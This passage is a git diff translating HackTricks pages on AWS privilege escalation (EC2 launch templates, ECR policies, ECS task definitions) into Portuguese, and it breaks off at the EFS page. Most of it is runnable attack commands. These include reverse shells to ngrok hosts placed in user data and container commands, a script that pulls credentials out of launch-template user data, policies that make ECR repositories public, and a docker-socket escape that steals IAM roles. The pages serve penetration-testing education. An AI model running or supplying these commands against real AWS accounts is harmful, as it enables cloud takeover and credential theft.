nele**, mudar a versão padrão, e **qualquer grupo de Autoscaler** **usando** esse **Launch Template** que está **configurado** para usar a **versão mais recente** ou a **versão padrão** irá **re-executar as instâncias** usando esse template e irá executar o rev shell. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash ' | base64) aws ec2 create-launch-template-version \ - --launch-template-name bad_template \ - --launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" +--launch-template-name bad_template \ +--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" aws ec2 modify-launch-template \ - --launch-template-name bad_template \ - --default-version 2 +--launch-template-name bad_template \ +--default-version 2 ``` - -**Potential Impact:** Direct privesc to a different EC2 role. +**Impacto Potencial:** Privesc direto para um papel EC2 diferente. ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` -An attacker with the permissions **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** can **create a Launch Configuration** with an **IAM Role** and a **rev shell** inside the **user data**, then **create an autoscaling group** from that config and wait for the rev shell to **steal the IAM Role**. - +Um atacante com as permissões **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** pode **criar uma Configuração de Lançamento** com um **Papel IAM** e um **rev shell** dentro dos **dados do usuário**, então **criar um grupo de escalonamento automático** a partir dessa configuração e esperar que o rev shell **roube o Papel IAM**. ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ - --launch-configuration-name bad_config \ - --image-id ami-0c1bc246476a5572b \ - --instance-type t3.micro \ - --iam-instance-profile EC2-CloudWatch-Agent-Role \ - --user-data "$REV" +--launch-configuration-name bad_config \ +--image-id ami-0c1bc246476a5572b \ +--instance-type t3.micro \ +--iam-instance-profile EC2-CloudWatch-Agent-Role \ +--user-data "$REV" aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ - --auto-scaling-group-name bad_auto \ - --min-size 1 --max-size 1 \ - --launch-configuration-name bad_config \ - --desired-capacity 1 \ - --vpc-zone-identifier "subnet-e282f9b8" +--auto-scaling-group-name bad_auto \ +--min-size 1 --max-size 1 \ +--launch-configuration-name bad_config \ +--desired-capacity 1 \ +--vpc-zone-identifier "subnet-e282f9b8" ``` - -**Potential Impact:** Direct privesc to a different EC2 role. +**Impacto Potencial:** Privesc direto para um papel EC2 diferente. ### `!autoscaling` -The set of permissions **`ec2:CreateLaunchTemplate`** and **`autoscaling:CreateAutoScalingGroup`** **aren't enough to escalate** privileges to an IAM role because in order to attach the role specified in the Launch Configuration or in the Launch Template **you need to permissions `iam:PassRole`and `ec2:RunInstances`** (which is a known privesc). +O conjunto de permissões **`ec2:CreateLaunchTemplate`** e **`autoscaling:CreateAutoScalingGroup`** **não é suficiente para escalar** privilégios para um papel IAM porque, para anexar o papel especificado na Configuração de Lançamento ou no Template de Lançamento, **você precisa das permissões `iam:PassRole` e `ec2:RunInstances`** (o que é um privesc conhecido). ### `ec2-instance-connect:SendSSHPublicKey` -An attacker with the permission **`ec2-instance-connect:SendSSHPublicKey`** can add an ssh key to a user and use it to access it (if he has ssh access to the instance) or to escalate privileges. - +Um atacante com a permissão **`ec2-instance-connect:SendSSHPublicKey`** pode adicionar uma chave ssh a um usuário e usá-la para acessá-lo (se ele tiver acesso ssh à instância) ou para escalar privilégios. ```bash aws ec2-instance-connect send-ssh-public-key \ - --instance-id "$INSTANCE_ID" \ - --instance-os-user "ec2-user" \ - --ssh-public-key "file://$PUBK_PATH" +--instance-id "$INSTANCE_ID" \ +--instance-os-user "ec2-user" \ +--ssh-public-key "file://$PUBK_PATH" ``` - -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances. +**Impacto Potencial:** Privesc direto para os papéis IAM do EC2 anexados às instâncias em execução. ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` -An attacker with the permission **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** can **add an ssh key to a serial connection**. If the serial is not enable, the attacker needs the permission **`ec2:EnableSerialConsoleAccess` to enable it**. - -In order to connect to the serial port you also **need to know the username and password of a user** inside the machine. +Um atacante com a permissão **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** pode **adicionar uma chave ssh a uma conexão serial**. Se a serial não estiver habilitada, o atacante precisa da permissão **`ec2:EnableSerialConsoleAccess` para habilitá-la**. +Para se conectar à porta serial, você também **precisa saber o nome de usuário e a senha de um usuário** dentro da máquina. ```bash aws ec2 enable-serial-console-access aws ec2-instance-connect send-serial-console-ssh-public-key \ - --instance-id "$INSTANCE_ID" \ - --serial-port 0 \ - --region "eu-west-1" \ - --ssh-public-key "file://$PUBK_PATH" +--instance-id "$INSTANCE_ID" \ +--serial-port 0 \ +--region "eu-west-1" \ +--ssh-public-key "file://$PUBK_PATH" ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` +Dessa forma, não é tão útil para privesc, pois você precisa conhecer um nome de usuário e uma senha para explorá-lo. -This way isn't that useful to privesc as you need to know a username and password to exploit it. - -**Potential Impact:** (Highly unprovable) Direct privesc to the EC2 IAM roles attached to running instances. +**Impacto Potencial:** (Altamente improvável) Privesc direto para os papéis IAM do EC2 anexados às instâncias em execução. ### `describe-launch-templates`,`describe-launch-template-versions` -Since launch templates have versioning, an attacker with **`ec2:describe-launch-templates`** and **`ec2:describe-launch-template-versions`** permissions could exploit these to discover sensitive information, such as credentials present in user data. To accomplish this, the following script loops through all versions of the available launch templates: - +Como os modelos de lançamento têm versionamento, um atacante com permissões **`ec2:describe-launch-templates`** e **`ec2:describe-launch-template-versions`** poderia explorá-los para descobrir informações sensíveis, como credenciais presentes nos dados do usuário. Para realizar isso, o seguinte script percorre todas as versões dos modelos de lançamento disponíveis: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do - echo "[*] Analyzing $i" - aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata - do - echo "VersionNumber: $version" - echo "$userdata" | base64 -d - echo - done | grep -iE "aws_|password|token|api" +echo "[*] Analyzing $i" +aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata +do +echo "VersionNumber: $version" +echo "$userdata" | base64 -d +echo +done | grep -iE "aws_|password|token|api" done ``` +Nos comandos acima, embora estejamos especificando certos padrões (`aws_|password|token|api`), você pode usar uma regex diferente para procurar outros tipos de informações sensíveis. -In the above commands, although we're specifying certain patterns (`aws_|password|token|api`), you can use a different regex to search for other types of sensitive information. +Assumindo que encontramos `aws_access_key_id` e `aws_secret_access_key`, podemos usar essas credenciais para autenticar no AWS. -Assuming we find `aws_access_key_id` and `aws_secret_access_key`, we can use these credentials to authenticate to AWS. +**Impacto Potencial:** Escalação de privilégios direta para usuário(s) IAM. -**Potential Impact:** Direct privilege escalation to IAM user(s). - -## References +## Referências - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md index fd4686edb..0ff28324c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md @@ -6,21 +6,21 @@ ### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage` -An attacker with the **`ecr:GetAuthorizationToken`** and **`ecr:BatchGetImage`** can login to ECR and download images. +Um atacante com **`ecr:GetAuthorizationToken`** e **`ecr:BatchGetImage`** pode fazer login no ECR e baixar imagens. -For more info on how to download images: +Para mais informações sobre como baixar imagens: {{#ref}} ../aws-post-exploitation/aws-ecr-post-exploitation.md {{#endref}} -**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic. +**Impacto Potencial:** Privesc indireto ao interceptar informações sensíveis no tráfego. ### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` -An attacker with the all those permissions **can login to ECR and upload images**. This can be useful to escalate privileges to other environments where those images are being used. +Um atacante com todas essas permissões **pode fazer login no ECR e enviar imagens**. Isso pode ser útil para escalar privilégios para outros ambientes onde essas imagens estão sendo usadas. -To learn how to upload a new image/update one, check: +Para aprender como enviar uma nova imagem/atualizar uma, verifique: {{#ref}} ../aws-services/aws-eks-enum.md @@ -28,85 +28,73 @@ To learn how to upload a new image/update one, check: ### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart` -Like the previous section, but for public repositories. +Como a seção anterior, mas para repositórios públicos. ### `ecr:SetRepositoryPolicy` -An attacker with this permission could **change** the **repository** **policy** to grant himself (or even everyone) **read/write access**.\ -For example, in this example read access is given to everyone. - +Um atacante com essa permissão poderia **mudar** a **política** do **repositório** para conceder a si mesmo (ou até mesmo a todos) **acesso de leitura/gravação**.\ +Por exemplo, neste exemplo, o acesso de leitura é concedido a todos. ```bash aws ecr set-repository-policy \ - --repository-name \ - --policy-text file://my-policy.json +--repository-name \ +--policy-text file://my-policy.json ``` - -Contents of `my-policy.json`: - +Conteúdo de `my-policy.json`: ```json { - "Version": "2008-10-17", - "Statement": [ - { - "Sid": "allow public pull", - "Effect": "Allow", - "Principal": "*", - "Action": [ - "ecr:BatchCheckLayerAvailability", - "ecr:BatchGetImage", - "ecr:GetDownloadUrlForLayer" - ] - } - ] +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "allow public pull", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] } ``` - ### `ecr-public:SetRepositoryPolicy` -Like the previoous section, but for public repositories.\ -An attacker can **modify the repository policy** of an ECR Public repository to grant unauthorized public access or to escalate their privileges. - +Como na seção anterior, mas para repositórios públicos.\ +Um atacante pode **modificar a política do repositório** de um repositório ECR Público para conceder acesso público não autorizado ou para escalar seus privilégios. ```bash bashCopy code# Create a JSON file with the malicious public repository policy echo '{ - "Version": "2008-10-17", - "Statement": [ - { - "Sid": "MaliciousPublicRepoPolicy", - "Effect": "Allow", - "Principal": "*", - "Action": [ - "ecr-public:GetDownloadUrlForLayer", - "ecr-public:BatchGetImage", - "ecr-public:BatchCheckLayerAvailability", - "ecr-public:PutImage", - "ecr-public:InitiateLayerUpload", - "ecr-public:UploadLayerPart", - "ecr-public:CompleteLayerUpload", - "ecr-public:DeleteRepositoryPolicy" - ] - } - ] +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "MaliciousPublicRepoPolicy", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr-public:GetDownloadUrlForLayer", +"ecr-public:BatchGetImage", +"ecr-public:BatchCheckLayerAvailability", +"ecr-public:PutImage", +"ecr-public:InitiateLayerUpload", +"ecr-public:UploadLayerPart", +"ecr-public:CompleteLayerUpload", +"ecr-public:DeleteRepositoryPolicy" +] +} +] }' > malicious_public_repo_policy.json # Apply the malicious public repository policy to the ECR Public repository aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json ``` - -**Potential Impact**: Unauthorized public access to the ECR Public repository, allowing any user to push, pull, or delete images. +**Impacto Potencial**: Acesso público não autorizado ao repositório ECR Público, permitindo que qualquer usuário envie, receba ou exclua imagens. ### `ecr:PutRegistryPolicy` -An attacker with this permission could **change** the **registry policy** to grant himself, his account (or even everyone) **read/write access**. - +Um atacante com essa permissão poderia **mudar** a **política do registro** para conceder a si mesmo, sua conta (ou até mesmo a todos) **acesso de leitura/gravação**. ```bash aws ecr set-repository-policy \ - --repository-name \ - --policy-text file://my-policy.json +--repository-name \ +--policy-text file://my-policy.json ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index 4988270ab..d3af5779a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -4,7 +4,7 @@ ## ECS -More **info about ECS** in: +Mais **informações sobre ECS** em: {{#ref}} ../aws-services/aws-ecs-enum.md @@ -12,185 +12,173 @@ More **info about ECS** in: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -An attacker abusing the `iam:PassRole`, `ecs:RegisterTaskDefinition` and `ecs:RunTask` permission in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**. - +Um atacante que abusa da permissão `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` no ECS pode **gerar uma nova definição de tarefa** com um **container malicioso** que rouba as credenciais de metadados e **executá-lo**. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ - --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ - --network-mode "awsvpc" \ - --cpu 256 --memory 512\ - --requires-compatibilities "[\"FARGATE\"]" \ - --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" # Run task definition aws ecs run-task --task-definition iam_exfiltration \ - --cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ - --launch-type FARGATE \ - --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" +--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" # Delete task definition ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` - -**Potential Impact:** Direct privesc to a different ECS role. +**Impacto Potencial:** Privesc direto para um papel ECS diferente. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**.\ -However, in this case, a container instance to run the malicious task definition need to be. - +Assim como no exemplo anterior, um atacante que abuse das permissões **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** no ECS pode **gerar uma nova definição de tarefa** com um **container malicioso** que rouba as credenciais de metadados e **executá-lo**.\ +No entanto, neste caso, uma instância de container para executar a definição de tarefa maliciosa precisa ser. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ - --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ - --network-mode "awsvpc" \ - --cpu 256 --memory 512\ - --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" aws ecs start-task --task-definition iam_exfiltration \ - --container-instances +--container-instances # Delete task definition ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` - -**Potential Impact:** Direct privesc to any ECS role. +**Impacto Potencial:** Privesc direto para qualquer função ECS. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** or **`ecs:CreateService`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it by creating a new service with at least 1 task running.** - +Assim como no exemplo anterior, um atacante que abuse das permissões **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ou **`ecs:CreateService`** no ECS pode **gerar uma nova definição de tarefa** com um **container malicioso** que rouba as credenciais de metadados e **executá-lo criando um novo serviço com pelo menos 1 tarefa em execução.** ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ - --task-role-arn "$ECS_ROLE_ARN" \ - --network-mode "awsvpc" \ - --cpu 256 --memory 512\ - --requires-compatibilities "[\"FARGATE\"]" \ - --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" +--task-role-arn "$ECS_ROLE_ARN" \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" # Run the task creating a service aws ecs create-service --service-name exfiltration \ - --task-definition iam_exfiltration \ - --desired-count 1 \ - --cluster "$CLUSTER_ARN" \ - --launch-type FARGATE \ - --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" +--task-definition iam_exfiltration \ +--desired-count 1 \ +--cluster "$CLUSTER_ARN" \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" # Run the task updating a service aws ecs update-service --cluster \ - --service \ - --task-definition +--service \ +--task-definition ``` - -**Potential Impact:** Direct privesc to any ECS role. +**Impacto Potencial:** Privesc direto para qualquer função ECS. ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` -Actually, just with those permissions it's possible to use overrides to executer arbitrary commands in a container with an arbitrary role with something like: - +Na verdade, apenas com essas permissões é possível usar substituições para executar comandos arbitrários em um contêiner com uma função arbitrária com algo como: ```bash aws ecs run-task \ - --task-definition "" \ - --overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ - --cluster \ - --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" +--task-definition "" \ +--overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ +--cluster \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" ``` - -**Potential Impact:** Direct privesc to any ECS role. +**Impacto Potencial:** Privesc direto para qualquer função ECS. ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -This scenario is like the previous ones but **without** the **`iam:PassRole`** permission.\ -This is still interesting because if you can run an arbitrary container, even if it's without a role, you could **run a privileged container to escape** to the node and **steal the EC2 IAM role** and the **other ECS containers roles** running in the node.\ -You could even **force other tasks to run inside the EC2 instance** you compromise to steal their credentials (as discussed in the [**Privesc to node section**](aws-ecs-privesc.md#privesc-to-node)). +Este cenário é como os anteriores, mas **sem** a permissão **`iam:PassRole`**.\ +Isso ainda é interessante porque se você puder executar um contêiner arbitrário, mesmo que seja sem uma função, você poderia **executar um contêiner privilegiado para escapar** para o nó e **roubar a função IAM do EC2** e as **outras funções dos contêineres ECS** em execução no nó.\ +Você poderia até **forçar outras tarefas a serem executadas dentro da instância EC2** que você comprometeu para roubar suas credenciais (como discutido na [**seção Privesc para nó**](aws-ecs-privesc.md#privesc-to-node)). > [!WARNING] -> This attack is only possible if the **ECS cluster is using EC2** instances and not Fargate. - +> Este ataque só é possível se o **cluster ECS estiver usando instâncias EC2** e não Fargate. ```bash printf '[ - { - "name":"exfil_creds", - "image":"python:latest", - "entryPoint":["sh", "-c"], - "command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], - "mountPoints": [ - { - "readOnly": false, - "containerPath": "/var/run/docker.sock", - "sourceVolume": "docker-socket" - } - ] - } +{ +"name":"exfil_creds", +"image":"python:latest", +"entryPoint":["sh", "-c"], +"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], +"mountPoints": [ +{ +"readOnly": false, +"containerPath": "/var/run/docker.sock", +"sourceVolume": "docker-socket" +} +] +} ]' > /tmp/task.json printf '[ - { - "name": "docker-socket", - "host": { - "sourcePath": "/var/run/docker.sock" - } - } +{ +"name": "docker-socket", +"host": { +"sourcePath": "/var/run/docker.sock" +} +} ]' > /tmp/volumes.json aws ecs register-task-definition --family iam_exfiltration \ - --cpu 256 --memory 512 \ - --requires-compatibilities '["EC2"]' \ - --container-definitions file:///tmp/task.json \ - --volumes file:///tmp/volumes.json +--cpu 256 --memory 512 \ +--requires-compatibilities '["EC2"]' \ +--container-definitions file:///tmp/task.json \ +--volumes file:///tmp/volumes.json aws ecs run-task --task-definition iam_exfiltration \ - --cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ - --launch-type EC2 +--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ +--launch-type EC2 # You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell ``` - ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -An attacker with the **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** can **execute commands** inside a running container and exfiltrate the IAM role attached to it (you need the describe permissions because it's necessary to run `aws ecs execute-command`).\ -However, in order to do that, the container instance need to be running the **ExecuteCommand agent** (which by default isn't). +Um atacante com o **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** pode **executar comandos** dentro de um contêiner em execução e exfiltrar a função IAM anexada a ele (você precisa das permissões de descrição porque é necessário executar `aws ecs execute-command`).\ +No entanto, para fazer isso, a instância do contêiner precisa estar executando o **ExecuteCommand agent** (que por padrão não está). -Therefore, the attacker cloud try to: - -- **Try to run a command** in every running container +Portanto, o atacante pode tentar: +- **Tentar executar um comando** em cada contêiner em execução ```bash # List enableExecuteCommand on each task for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do - echo "Cluster $cluster" - for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do - echo " Task $task" - # If true, it's your lucky day - aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand - done +echo "Cluster $cluster" +for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do +echo " Task $task" +# If true, it's your lucky day +aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand +done done # Execute a shell in a container aws ecs execute-command --interactive \ - --command "sh" \ - --cluster "$CLUSTER_ARN" \ - --task "$TASK_ARN" +--command "sh" \ +--cluster "$CLUSTER_ARN" \ +--task "$TASK_ARN" ``` +- Se ele tem **`ecs:RunTask`**, execute uma tarefa com `aws ecs run-task --enable-execute-command [...]` +- Se ele tem **`ecs:StartTask`**, execute uma tarefa com `aws ecs start-task --enable-execute-command [...]` +- Se ele tem **`ecs:CreateService`**, crie um serviço com `aws ecs create-service --enable-execute-command [...]` +- Se ele tem **`ecs:UpdateService`**, atualize um serviço com `aws ecs update-service --enable-execute-command [...]` -- If he has **`ecs:RunTask`**, run a task with `aws ecs run-task --enable-execute-command [...]` -- If he has **`ecs:StartTask`**, run a task with `aws ecs start-task --enable-execute-command [...]` -- If he has **`ecs:CreateService`**, create a service with `aws ecs create-service --enable-execute-command [...]` -- If he has **`ecs:UpdateService`**, update a service with `aws ecs update-service --enable-execute-command [...]` +Você pode encontrar **exemplos dessas opções** nas **seções anteriores de privesc do ECS**. -You can find **examples of those options** in **previous ECS privesc sections**. - -**Potential Impact:** Privesc to a different role attached to containers. +**Impacto Potencial:** Privesc para um papel diferente anexado a contêineres. ### `ssm:StartSession` -Check in the **ssm privesc page** how you can abuse this permission to **privesc to ECS**: +Verifique na **página de privesc do ssm** como você pode abusar dessa permissão para **privesc para ECS**: {{#ref}} aws-ssm-privesc.md @@ -198,7 +186,7 @@ aws-ssm-privesc.md ### `iam:PassRole`, `ec2:RunInstances` -Check in the **ec2 privesc page** how you can abuse these permissions to **privesc to ECS**: +Verifique na **página de privesc do ec2** como você pode abusar dessas permissões para **privesc para ECS**: {{#ref}} aws-ec2-privesc.md @@ -206,30 +194,29 @@ aws-ec2-privesc.md ### `?ecs:RegisterContainerInstance` -TODO: Is it possible to register an instance from a different AWS account so tasks are run under machines controlled by the attacker?? +TODO: É possível registrar uma instância de uma conta AWS diferente para que as tarefas sejam executadas em máquinas controladas pelo atacante?? ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` > [!NOTE] -> TODO: Test this - -An attacker with the permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, and `ecs:DescribeTaskSets` can **create a malicious task set for an existing ECS service and update the primary task set**. This allows the attacker to **execute arbitrary code within the service**. +> TODO: Testar isso +Um atacante com as permissões `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` e `ecs:DescribeTaskSets` pode **criar um conjunto de tarefas malicioso para um serviço ECS existente e atualizar o conjunto de tarefas primário**. Isso permite que o atacante **execute código arbitrário dentro do serviço**. ```bash bashCopy code# Register a task definition with a reverse shell echo '{ - "family": "malicious-task", - "containerDefinitions": [ - { - "name": "malicious-container", - "image": "alpine", - "command": [ - "sh", - "-c", - "apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" - ] - } - ] +"family": "malicious-task", +"containerDefinitions": [ +{ +"name": "malicious-container", +"image": "alpine", +"command": [ +"sh", +"-c", +"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" +] +} +] }' > malicious-task-definition.json aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json @@ -240,15 +227,10 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` +**Impacto Potencial**: Executar código arbitrário no serviço afetado, potencialmente impactando sua funcionalidade ou exfiltrando dados sensíveis. -**Potential Impact**: Execute arbitrary code in the affected service, potentially impacting its functionality or exfiltrating sensitive data. - -## References +## Referências - [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md index 8a54b28d8..63026dd7e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md @@ -4,97 +4,83 @@ ## EFS -More **info about EFS** in: +Mais **informações sobre EFS** em: {{#ref}} ../aws-services/aws-efs-enum.md {{#endref}} -Remember that in order to mount an EFS you need to be in a subnetwork where the EFS is exposed and have access to it (security groups). Is this is happening, by default, you will always be able to mount it, however, if it's protected by IAM policies you need to have the extra permissions mentioned here to access it. +Lembre-se de que, para montar um EFS, você precisa estar em uma sub-rede onde o EFS está exposto e ter acesso a ele (grupos de segurança). Se isso estiver acontecendo, por padrão, você sempre poderá montá-lo; no 